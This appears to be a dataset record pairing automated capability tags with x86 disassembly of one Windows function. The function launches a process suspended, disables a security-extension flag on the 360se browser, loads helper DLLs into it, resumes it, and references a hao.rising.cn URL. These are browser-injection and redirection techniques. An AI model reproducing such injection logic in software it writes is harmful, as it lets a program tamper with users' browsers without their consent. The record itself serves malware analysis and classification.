Function at 0x402a30
Capabilities:
Check if file exists
Create process on windows
Create process suspended
Get common file path
Query or enumerate registry value
Resolve function by parsing pe exports
Resume thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xe04
mov eax, dword [0x427074]
xor eax, esp
mov dword [esp + 0xe00], eax
push ebx
mov ebx, dword [ebp + 0x10]
push esi
push edi
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0x7fa]
push ecx
mov word [esp + 0x7fc], ax
call fcn.00412210
add esp, 0xc
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x5f2]
push eax
mov word [esp + 0x5f4], dx
call fcn.00412210
add esp, 0xc
push 0x4b0
push 0
push 1
push str._d._d._d
call fcn.004045f0
add esp, 0x10
test ebx, ebx
jne 0x402afc
push 0x4b5
push ebx
push 0x1000
push str._d._d._d
call fcn.004045f0
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x4b6
push ebx
call fcn.004010c0
add esp, 0xc
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xe00]
xor ecx, esp
call fcn.0040b1b0
mov esp, ebp
pop ebp
ret 0x10
mov eax, ebx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402b01
mov esi, dword [sym.imp.SHLWAPI.dll_StrStrNIW]
sub eax, edx
sar eax, 1
push eax
push 0x4232c4
push ebx
call esi
test eax, eax
je 0x402b32
mov ecx, ebx
call fcn.004023d0
test eax, eax
jne 0x403464
mov eax, ebx
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402b37
sub eax, edx
sar eax, 1
push eax
push str.360se.exe
push ebx
call esi
test eax, eax
je 0x402b6e
push str.___360se_no_secureextension
push ebx
call dword [sym.imp.SHLWAPI.dll_StrCatW]
mov ecx, ebx
call fcn.00402680
test eax, eax
jne 0x403464
xor ecx, ecx
push 0x206
push ecx
lea edx, [esp + 0xa02]
push edx
mov word [esp + 0xa04], cx
call fcn.00412210
lea eax, [esp + 0x18]
add esp, 0xc
push eax
lea edi, [esp + 0x9fc]
mov ecx, ebx
mov dword [esp + 0x10], 0
call fcn.00401cd0
add esp, 4
test eax, eax
je 0x402d4c
mov esi, dword [esp + 0xc]
push esi
push 0x4cc
push 0
push 1
push str._d._d._d.T:__d
call fcn.004045f0
add esp, 0x14
cmp esi, 8
jne 0x402bfd
push 0x4d3
push 0
push 0x10
push str._d._d._d
call fcn.004045f0
add esp, 0x10
mov eax, edi
call fcn.004022a0
mov eax, edi
call fcn.00402930
jmp 0x403464
mov ecx, 0xe
mov esi, str.http:__hao.rising.cn___b61
lea edi, [esp + 0x1d8]
push 0x1d0
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x214]
push 0
push ecx
call fcn.00412210
add esp, 0xc
xor edx, edx
push 0x206
push edx
lea eax, [esp + 0x3ea]
push eax
mov word [esp + 0x3ec], dx
call fcn.00412210
mov edi, dword [esp + 0x18]
add esp, 0xc
push edi
lea esi, [esp + 0x3e4]
call fcn.00408ff0
add esp, 4
test eax, eax
je 0x402ca5
mov ecx, 0x104
lea eax, [esp + 0x1d8]
jmp 0x402c70
cmp word [eax], 0
je 0x402c80
add eax, 2
sub ecx, 1
jne 0x402c70
jmp 0x402ca5
test ecx, ecx
je 0x402ca5
mov eax, 0x104
sub eax, ecx
mov edx, 0x104
sub edx, eax
lea ecx, [esp + eax*2 + 0x1d8]
lea eax, [esp + 0x3e0]
call fcn.00403480
push 0x103
lea ecx, [esp + 0xd5]
push 0
push ecx
mov byte [esp + 0xdc], 0
call fcn.00412210
add esp, 0xc
push 0
push 0
push 0x104
lea edx, [esp + 0xdc]
push edx
push 0x104
lea eax, [esp + 0x1ec]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea ecx, [esp + 0x1d8]
call fcn.00401980
test eax, eax
je 0x402d4c
push 0x4ee
push 0
push 0x10
push str._d._d._d
call fcn.004045f0
add esp, 0x10
call fcn.00408c80
test eax, eax
je 0x402d32
push edi
lea edx, [esp + 0x1dc]
lea ecx, [esp + 0x9fc]
call fcn.00409050
add esp, 4
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xe00]
xor ecx, esp
call fcn.0040b1b0
mov esp, ebp
pop ebp
ret 0x10
lea ecx, [esp + 0x5e8]
call fcn.00401190
test eax, eax
jne 0x402da5
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x4ff
push 0
call fcn.004010c0
add esp, 0xc
push 0x501
push 0
push 0x1000
push str._d._d._d
call fcn.004045f0
add esp, 0x10
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xe00]
xor ecx, esp
call fcn.0040b1b0
mov esp, ebp
pop ebp
ret 0x10
mov esi, dword [sym.imp.SHLWAPI.dll_PathAppendW]
push str.Ilrspsm.dll
lea ecx, [esp + 0x5ec]
push ecx
call esi
mov edi, dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
lea edx, [esp + 0x5e8]
push edx
call edi
test eax, eax
jne 0x402deb
lea eax, [esp + 0x5e8]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecW]
push str.Ildsp.dll
lea ecx, [esp + 0x5ec]
push ecx
call esi
lea edx, [esp + 0x5e8]
push edx
call edi
test eax, eax
jne 0x40323d
push 0x514
push eax
push 0x10
push str._d._d._d
call fcn.004045f0
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
add esp, 0x10
call esi
push eax
push 0x515
xor edi, edi
push edi
call fcn.004010c0
xor eax, eax
add esp, 0xc
push 0x40
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
lea eax, [esp + 0x90]
push edi
push eax
mov dword [esp + 0x24], edi
call fcn.00412210
add esp, 0xc
push 0x522
push edi
mov ecx, 5
push 1
push str._d._d._d
mov dword [esp + 0x98], 0x44
mov dword [esp + 0xc4], 1
mov word [esp + 0xc8], cx
call fcn.004045f0
add esp, 0x10
lea edx, [esp + 0x18]
push edx
lea eax, [esp + 0x8c]
push eax
push edi
push edi
push 4
push edi
push edi
push edi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4031fa
push 0x531
push edi
push 0x10
push str._d._d._d
call fcn.004045f0
push 0x103
lea ecx, [esp + 0xe5]
push edi
push ecx
mov byte [esp + 0xec], 0
call fcn.00412210
add esp, 0x1c
lea ecx, [esp + 0xd0]
call fcn.00401320
mov ecx, dword [esp + 0xc]
cmp ecx, 3
jne 0x40309a
cmp eax, edi
je 0x4031c1
push 0x53a
push edi
push 1
push str._d._d._d
call fcn.004045f0
push 0x103
lea edx, [esp + 0x3f5]
push edi
push edx
mov byte [esp + 0x3fc], 0
call fcn.00412210
add esp, 0x1c
push 0x103
lea eax, [esp + 0x1dd]
push edi
push eax
mov byte [esp + 0x1e4], 0
call fcn.00412210
add esp, 0xc
lea ecx, [esp + 0xd0]
push ecx
lea edx, [esp + 0x3e4]
push 0x104
push edx
call fcn.0040b257
mov esi, dword [sym.imp.SHLWAPI.dll_PathAppendA]
add esp, 0xc
push str.rsre3.dll
lea eax, [esp + 0x3e4]
push eax
call esi
mov ebx, dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
lea ecx, [esp + 0x3e0]
push ecx
call ebx
test eax, eax
je 0x402fb5
push 0x54a
push edi
push 1
push str._d._d._d
call fcn.004045f0
lea edx, [esp + 0x3f0]
mov dword [esp + 0x20], edx
mov edi, 1
jmp 0x402fcb
push 0x550
push 0
push 0x100
push str._d._d._d
call fcn.004045f0
add esp, 0x10
lea eax, [esp + 0xd0]
push eax
lea ecx, [esp + 0x1dc]
push 0x104
push ecx
call fcn.0040b257
add esp, 0xc
push str.rshd.dll
lea edx, [esp + 0x1dc]
push edx
call esi
lea eax, [esp + 0x1d8]
push eax
call ebx
test eax, eax
je 0x40302c
push 0x55b
push 0
push 1
push str._d._d._d
call fcn.004045f0
lea ecx, [esp + 0x1e8]
add esp, 0x10
mov dword [esp + edi*4 + 0x10], ecx
inc edi
jmp 0x403045
push 0x561
push 0
push 0x100
push str._d._d._d
call fcn.004045f0
add esp, 0x10
test edi, edi
jle 0x4031c1
mov eax, dword [esp + 0x18]
push edi
lea edx, [esp + 0x14]
push edx
push eax
call fcn.0041a820
test eax, eax
je 0x40307c
push 0x56b
push 0
push 0x10
push str._d._d._d
call fcn.004045f0
add esp, 0x10
jmp 0x4031c1
push 0x570
push 0
push 0x1000
push str._d._d._d
call fcn.004045f0
add esp, 0x10
jmp 0x4031c1
cmp ecx, 1
jne 0x4031c1
cmp eax, edi
je 0x4031c1
call fcn.00402390
test eax, eax
jne 0x4031c1
push 0x103
lea ecx, [esp + 0x3e5]
push edi
push ecx
mov byte [esp + 0x3ec], al
call fcn.00412210
add esp, 0xc
push edi
lea edx, [esp + 0x10]
push edx
push edi
push 0xf023f
push edi
push edi
push edi
push str.CLSIDD8640557_340F_40c2_8045_CCA830C44150
push SysReAllocStringLen
mov dword [esp + 0x30], edi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x4031c1
push 0x103
mov byte [esp + 0x1dc], al
lea eax, [esp + 0x1dd]
push edi
push eax
call fcn.00412210
mov eax, dword [esp + 0x18]
add esp, 0xc
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x1dc]
push edx
push edi
push eax
mov dword [esp + 0x20], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
test eax, eax
jne 0x4031b6
lea ecx, [esp + 0xd0]
push ecx
lea edx, [esp + 0x3e4]
push 0x104
push edx
call fcn.0040b257
add esp, 0xc
lea eax, [esp + 0x1d8]
push eax
lea ecx, [esp + 0x3e4]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathAppendA]
push 0x4235d8
lea edx, [esp + 0x3e4]
push edx
call dword [sym.imp.SHLWAPI.dll_PathAddExtensionA]
lea eax, [esp + 0x3e0]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x4031b6
mov eax, dword [esp + 0x18]
push 1
lea edx, [esp + 0x3c]
push edx
lea ecx, [esp + 0x3e8]
push eax
mov dword [esp + 0x44], ecx
call fcn.0041a820
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [esp + 0x1c]
push edx
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [esp + 0x18]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [esp + 0x1c]
push eax
call edi
push esi
call edi
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xe00]
xor ecx, esp
call fcn.0040b1b0
mov esp, ebp
pop ebp
ret 0x10
push 0x5ad
push edi
push 0x1000
push str._d._d._d
call fcn.004045f0
add esp, 0x10
call esi
push eax
push 0x5ae
push edi
call fcn.004010c0
add esp, 0xc
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xe00]
xor ecx, esp
call fcn.0040b1b0
mov esp, ebp
pop ebp
ret 0x10
push 0x5b4
push 0
push 0x10
push str._d._d._d
call fcn.004045f0
push 0x5b8
push 0
push 1
push str._d._d._d
call fcn.004045f0
add esp, 0x20
push 0x104
lea ecx, [esp + 0x7f4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
jne 0x4032c5
push 0x5be
push eax
push 0x1000
push str._d._d._d
call fcn.004045f0
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x5bf
push 0
call fcn.004010c0
add esp, 0xc
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xe00]
xor ecx, esp
call fcn.0040b1b0
mov esp, ebp
pop ebp
ret 0x10
push str.rundll32.exe
lea edx, [esp + 0x7f4]
push edx
call esi
lea eax, [esp + 0x7f0]
push eax
call edi
test eax, eax
jne 0x40332a
push 0x5c7
push eax
push 0x1000
push str._d._d._d
call fcn.004045f0
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x5c8
push 0
call fcn.004010c0
add esp, 0xc
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xe00]
xor ecx, esp
call fcn.0040b1b0
mov esp, ebp
pop ebp
ret 0x10
push 0x5cd
push 0
push 1
push str._d._d._d
call fcn.004045f0
xor eax, eax
push 0x40
push eax
lea ecx, [esp + 0x5c]
push ecx
mov dword [esp + 0x44], 0
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], eax
call fcn.00412210
add esp, 0x1c
xor eax, eax
push 0x206
push eax
lea ecx, [esp + 0xc0a]
mov edx, 5
push ecx
mov dword [esp + 0x4c], 0x44
mov dword [esp + 0x78], 1
mov word [esp + 0x7c], dx
mov word [esp + 0xc0c], ax
call fcn.00412210
add esp, 0xc
push ebx
push str.Rttdsie
lea edx, [esp + 0x5f0]
push edx
lea eax, [esp + 0x7fc]
push eax
push str._s___s___s__s
mov eax, 0x104
lea edi, [esp + 0xc14]
call fcn.00403530
add esp, 0x14
lea ecx, [esp + 0x28]
push ecx
lea edx, [esp + 0x44]
push edx
push 0
push 0
push 0x20
push 0
push 0
push 0
mov eax, edi
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x403435
push 0x5e7
push 0
push 0x10
push str._d._d._d
call fcn.004045f0
mov ecx, dword [esp + 0x38]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [esp + 0x3c]
add esp, 0x10
push ecx
call edi
push esi
call edi
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0xe00]
xor ecx, esp
call fcn.0040b1b0
mov esp, ebp
pop ebp
ret 0x10
push 0x5f2
push 0
push 0x1000
push str._d._d._d
call fcn.004045f0
add esp, 0x10
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push 0x5f3
push 0
call fcn.004010c0
add esp, 0xc
mov ecx, dword [esp + 0xe0c]
pop edi
pop esi
pop ebx
xor ecx, esp
xor eax, eax
call fcn.0040b1b0
mov esp, ebp
pop ebp
ret 0x10